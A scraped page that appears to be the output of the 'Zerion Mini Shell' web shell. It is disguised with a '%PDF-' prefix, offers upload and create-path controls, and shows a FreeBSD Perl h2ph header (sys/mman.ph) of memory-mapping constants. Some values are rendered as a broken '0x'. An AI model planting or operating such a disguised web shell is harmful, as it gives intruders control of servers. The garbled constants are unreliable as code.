%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/perl5/site_perl/mach/5.32/sys/
Upload File :
Create Path :
Current File : //usr/local/lib/perl5/site_perl/mach/5.32/sys/mman.ph

require '_h2ph_pre.ph';

no warnings qw(redefine misc);

unless(defined(&_SYS_MMAN_H_)) {
    eval 'sub _SYS_MMAN_H_ () {1;}' unless defined(&_SYS_MMAN_H_);
    require 'sys/cdefs.ph';
    require 'sys/_types.ph';
    if((defined(&__BSD_VISIBLE) ? &__BSD_VISIBLE : undef)) {
	eval 'sub INHERIT_SHARE () {0;}' unless defined(&INHERIT_SHARE);
	eval 'sub INHERIT_COPY () {1;}' unless defined(&INHERIT_COPY);
	eval 'sub INHERIT_NONE () {2;}' unless defined(&INHERIT_NONE);
	eval 'sub INHERIT_ZERO () {3;}' unless defined(&INHERIT_ZERO);
    }
    eval 'sub PROT_NONE () {0x;}' unless defined(&PROT_NONE);
    eval 'sub PROT_READ () {0x1;}' unless defined(&PROT_READ);
    eval 'sub PROT_WRITE () {0x2;}' unless defined(&PROT_WRITE);
    eval 'sub PROT_EXEC () {0x4;}' unless defined(&PROT_EXEC);
    if((defined(&__BSD_VISIBLE) ? &__BSD_VISIBLE : undef)) {
	eval 'sub _PROT_ALL () {( &PROT_READ |  &PROT_WRITE |  &PROT_EXEC);}' unless defined(&_PROT_ALL);
	eval 'sub PROT_EXTRACT {
	    my($prot) = @_;
    	    eval q((($prot) &  &_PROT_ALL));
	}' unless defined(&PROT_EXTRACT);
	eval 'sub _PROT_MAX_SHIFT () {16;}' unless defined(&_PROT_MAX_SHIFT);
	eval 'sub PROT_MAX {
	    my($prot) = @_;
    	    eval q((($prot) <<  &_PROT_MAX_SHIFT));
	}' unless defined(&PROT_MAX);
	eval 'sub PROT_MAX_EXTRACT {
	    my($prot) = @_;
    	    eval q(((($prot) >>  &_PROT_MAX_SHIFT) &  &_PROT_ALL));
	}' unless defined(&PROT_MAX_EXTRACT);
    }
    eval 'sub MAP_SHARED () {0x1;}' unless defined(&MAP_SHARED);
    eval 'sub MAP_PRIVATE () {0x2;}' unless defined(&MAP_PRIVATE);
    if((defined(&__BSD_VISIBLE) ? &__BSD_VISIBLE : undef)) {
	eval 'sub MAP_COPY () { &MAP_PRIVATE;}' unless defined(&MAP_COPY);
    }
    eval 'sub MAP_FIXED () {0x10;}' unless defined(&MAP_FIXED);
    if((defined(&__BSD_VISIBLE) ? &__BSD_VISIBLE : undef)) {
	eval 'sub MAP_RESERVED0020 () {0x20;}' unless defined(&MAP_RESERVED0020);
	eval 'sub MAP_RESERVED0040 () {0x40;}' unless defined(&MAP_RESERVED0040);
	eval 'sub MAP_RESERVED0080 () {0x80;}' unless defined(&MAP_RESERVED0080);
	eval 'sub MAP_RESERVED0100 () {0x100;}' unless defined(&MAP_RESERVED0100);
	eval 'sub MAP_HASSEMAPHORE () {0x200;}' unless defined(&MAP_HASSEMAPHORE);
	eval 'sub MAP_STACK () {0x400;}' unless defined(&MAP_STACK);
	eval 'sub MAP_NOSYNC () {0x800;}' unless defined(&MAP_NOSYNC);
	eval 'sub MAP_FILE () {0x;}' unless defined(&MAP_FILE);
	eval 'sub MAP_ANON () {0x1000;}' unless defined(&MAP_ANON);
	unless(defined(&_KERNEL)) {
	    eval 'sub MAP_ANONYMOUS () { &MAP_ANON;}' unless defined(&MAP_ANONYMOUS);
	}
	eval 'sub MAP_GUARD () {0x2000;}' unless defined(&MAP_GUARD);
	eval 'sub MAP_EXCL () {0x4000;}' unless defined(&MAP_EXCL);
	eval 'sub MAP_NOCORE () {0x20000;}' unless defined(&MAP_NOCORE);
	eval 'sub MAP_PREFAULT_READ () {0x40000;}' unless defined(&MAP_PREFAULT_READ);
	if(defined(&__LP64__)) {
	    eval 'sub MAP_32BIT () {0x80000;}' unless defined(&MAP_32BIT);
	}
	eval 'sub MAP_ALIGNED {
	    my($n) = @_;
    	    eval q((($n) <<  &MAP_ALIGNMENT_SHIFT));
	}' unless defined(&MAP_ALIGNED);
	eval 'sub MAP_ALIGNMENT_SHIFT () {24;}' unless defined(&MAP_ALIGNMENT_SHIFT);
	eval 'sub MAP_ALIGNMENT_MASK () { &MAP_ALIGNED(0xff);}' unless defined(&MAP_ALIGNMENT_MASK);
	eval 'sub MAP_ALIGNED_SUPER () { &MAP_ALIGNED(1);}' unless defined(&MAP_ALIGNED_SUPER);
	eval 'sub SHM_RENAME_NOREPLACE () {(1<< 0);}' unless defined(&SHM_RENAME_NOREPLACE);
	eval 'sub SHM_RENAME_EXCHANGE () {(1<< 1);}' unless defined(&SHM_RENAME_EXCHANGE);
    }
    if((defined(&__POSIX_VISIBLE) ? &__POSIX_VISIBLE : undef) >= 199309) {
	eval 'sub MCL_CURRENT () {0x1;}' unless defined(&MCL_CURRENT);
	eval 'sub MCL_FUTURE () {0x2;}' unless defined(&MCL_FUTURE);
    }
    eval 'sub MAP_FAILED () {(( &void *)-1);}' unless defined(&MAP_FAILED);
    eval 'sub MS_SYNC () {0x;}' unless defined(&MS_SYNC);
    eval 'sub MS_ASYNC () {0x1;}' unless defined(&MS_ASYNC);
    eval 'sub MS_INVALIDATE () {0x2;}' unless defined(&MS_INVALIDATE);
    eval 'sub _MADV_NORMAL () {0;}' unless defined(&_MADV_NORMAL);
    eval 'sub _MADV_RANDOM () {1;}' unless defined(&_MADV_RANDOM);
    eval 'sub _MADV_SEQUENTIAL () {2;}' unless defined(&_MADV_SEQUENTIAL);
    eval 'sub _MADV_WILLNEED () {3;}' unless defined(&_MADV_WILLNEED);
    eval 'sub _MADV_DONTNEED () {4;}' unless defined(&_MADV_DONTNEED);
    if((defined(&__BSD_VISIBLE) ? &__BSD_VISIBLE : undef)) {
	eval 'sub MADV_NORMAL () { &_MADV_NORMAL;}' unless defined(&MADV_NORMAL);
	eval 'sub MADV_RANDOM () { &_MADV_RANDOM;}' unless defined(&MADV_RANDOM);
	eval 'sub MADV_SEQUENTIAL () { &_MADV_SEQUENTIAL;}' unless defined(&MADV_SEQUENTIAL);
	eval 'sub MADV_WILLNEED () { &_MADV_WILLNEED;}' unless defined(&MADV_WILLNEED);
	eval 'sub MADV_DONTNEED () { &_MADV_DONTNEED;}' unless defined(&MADV_DONTNEED);
	eval 'sub MADV_FREE () {5;}' unless defined(&MADV_FREE);
	eval 'sub MADV_NOSYNC () {6;}' unless defined(&MADV_NOSYNC);
	eval 'sub MADV_AUTOSYNC () {7;}' unless defined(&MADV_AUTOSYNC);
	eval 'sub MADV_NOCORE () {8;}' unless defined(&MADV_NOCORE);
	eval 'sub MADV_CORE () {9;}' unless defined(&MADV_CORE);
	eval 'sub MADV_PROTECT () {10;}' unless defined(&MADV_PROTECT);
	eval 'sub MINCORE_INCORE () {0x1;}' unless defined(&MINCORE_INCORE);
	eval 'sub MINCORE_REFERENCED () {0x2;}' unless defined(&MINCORE_REFERENCED);
	eval 'sub MINCORE_MODIFIED () {0x4;}' unless defined(&MINCORE_MODIFIED);
	eval 'sub MINCORE_REFERENCED_OTHER () {0x8;}' unless defined(&MINCORE_REFERENCED_OTHER);
	eval 'sub MINCORE_MODIFIED_OTHER () {0x10;}' unless defined(&MINCORE_MODIFIED_OTHER);
	eval 'sub MINCORE_SUPER () {0x60;}' unless defined(&MINCORE_SUPER);
	eval 'sub MINCORE_PSIND {
	    my($i) = @_;
    	    eval q(((($i) << 5) &  &MINCORE_SUPER));
	}' unless defined(&MINCORE_PSIND);
	eval 'sub SHM_ANON () {(1);}' unless defined(&SHM_ANON);
	eval 'sub SHM_ALLOW_SEALING () {0x1;}' unless defined(&SHM_ALLOW_SEALING);
	eval 'sub SHM_GROW_ON_WRITE () {0x2;}' unless defined(&SHM_GROW_ON_WRITE);
	eval 'sub SHM_LARGEPAGE () {0x4;}' unless defined(&SHM_LARGEPAGE);
	eval 'sub SHM_LARGEPAGE_ALLOC_DEFAULT () {0;}' unless defined(&SHM_LARGEPAGE_ALLOC_DEFAULT);
	eval 'sub SHM_LARGEPAGE_ALLOC_NOWAIT () {1;}' unless defined(&SHM_LARGEPAGE_ALLOC_NOWAIT);
	eval 'sub SHM_LARGEPAGE_ALLOC_HARD () {2;}' unless defined(&SHM_LARGEPAGE_ALLOC_HARD);
	eval 'sub MFD_CLOEXEC () {0x1;}' unless defined(&MFD_CLOEXEC);
	eval 'sub MFD_ALLOW_SEALING () {0x2;}' unless defined(&MFD_ALLOW_SEALING);
	eval 'sub MFD_HUGETLB () {0x4;}' unless defined(&MFD_HUGETLB);
	eval 'sub MFD_HUGE_MASK () {0xfc000000;}' unless defined(&MFD_HUGE_MASK);
	eval 'sub MFD_HUGE_SHIFT () {26;}' unless defined(&MFD_HUGE_SHIFT);
	eval 'sub MFD_HUGE_64KB () {(16<<  &MFD_HUGE_SHIFT);}' unless defined(&MFD_HUGE_64KB);
	eval 'sub MFD_HUGE_512KB () {(19<<  &MFD_HUGE_SHIFT);}' unless defined(&MFD_HUGE_512KB);
	eval 'sub MFD_HUGE_1MB () {(20<<  &MFD_HUGE_SHIFT);}' unless defined(&MFD_HUGE_1MB);
	eval 'sub MFD_HUGE_2MB () {(21<<  &MFD_HUGE_SHIFT);}' unless defined(&MFD_HUGE_2MB);
	eval 'sub MFD_HUGE_8MB () {(23<<  &MFD_HUGE_SHIFT);}' unless defined(&MFD_HUGE_8MB);
	eval 'sub MFD_HUGE_16MB () {(24<<  &MFD_HUGE_SHIFT);}' unless defined(&MFD_HUGE_16MB);
	eval 'sub MFD_HUGE_32MB () {(25<<  &MFD_HUGE_SHIFT);}' unless defined(&MFD_HUGE_32MB);
	eval 'sub MFD_HUGE_256MB () {(28<<  &MFD_HUGE_SHIFT);}' unless defined(&MFD_HUGE_256MB);
	eval 'sub MFD_HUGE_512MB () {(29<<  &MFD_HUGE_SHIFT);}' unless defined(&MFD_HUGE_512MB);
	eval 'sub MFD_HUGE_1GB () {(30<<  &MFD_HUGE_SHIFT);}' unless defined(&MFD_HUGE_1GB);
	eval 'sub MFD_HUGE_2GB () {(31<<  &MFD_HUGE_SHIFT);}' unless defined(&MFD_HUGE_2GB);
	eval 'sub MFD_HUGE_16GB () {(34<<  &MFD_HUGE_SHIFT);}' unless defined(&MFD_HUGE_16GB);
    }
    if((defined(&__POSIX_VISIBLE) ? &__POSIX_VISIBLE : undef) >= 200112) {
	eval 'sub POSIX_MADV_NORMAL () { &_MADV_NORMAL;}' unless defined(&POSIX_MADV_NORMAL);
	eval 'sub POSIX_MADV_RANDOM () { &_MADV_RANDOM;}' unless defined(&POSIX_MADV_RANDOM);
	eval 'sub POSIX_MADV_SEQUENTIAL () { &_MADV_SEQUENTIAL;}' unless defined(&POSIX_MADV_SEQUENTIAL);
	eval 'sub POSIX_MADV_WILLNEED () { &_MADV_WILLNEED;}' unless defined(&POSIX_MADV_WILLNEED);
	eval 'sub POSIX_MADV_DONTNEED () { &_MADV_DONTNEED;}' unless defined(&POSIX_MADV_DONTNEED);
    }
    unless(defined(&_MODE_T_DECLARED)) {
	eval 'sub _MODE_T_DECLARED () {1;}' unless defined(&_MODE_T_DECLARED);
    }
    unless(defined(&_OFF_T_DECLARED)) {
	eval 'sub _OFF_T_DECLARED () {1;}' unless defined(&_OFF_T_DECLARED);
    }
    unless(defined(&_SIZE_T_DECLARED)) {
	eval 'sub _SIZE_T_DECLARED () {1;}' unless defined(&_SIZE_T_DECLARED);
    }
    if(defined(&_KERNEL) || defined(&_WANT_FILE)) {
	require 'sys/lock.ph';
	require 'sys/mutex.ph';
	require 'sys/queue.ph';
	require 'sys/rangelock.ph';
	require 'vm/vm.ph';
    }
    if(defined(&_KERNEL)) {
	eval 'sub MAP_32BIT_MAX_ADDR () {(( &vm_offset_t)1<< 31);}' unless defined(&MAP_32BIT_MAX_ADDR);
    } else {
	if((defined(&__BSD_VISIBLE) ? &__BSD_VISIBLE : undef)) {
	}
	unless(defined(&_MMAP_DECLARED)) {
	    eval 'sub _MMAP_DECLARED () {1;}' unless defined(&_MMAP_DECLARED);
	}
	if((defined(&__POSIX_VISIBLE) ? &__POSIX_VISIBLE : undef) >= 200112) {
	}
	if((defined(&__POSIX_VISIBLE) ? &__POSIX_VISIBLE : undef) >= 199309) {
	}
	if((defined(&__BSD_VISIBLE) ? &__BSD_VISIBLE : undef)) {
	}
    }
}
1;

Zerion Mini Shell 1.0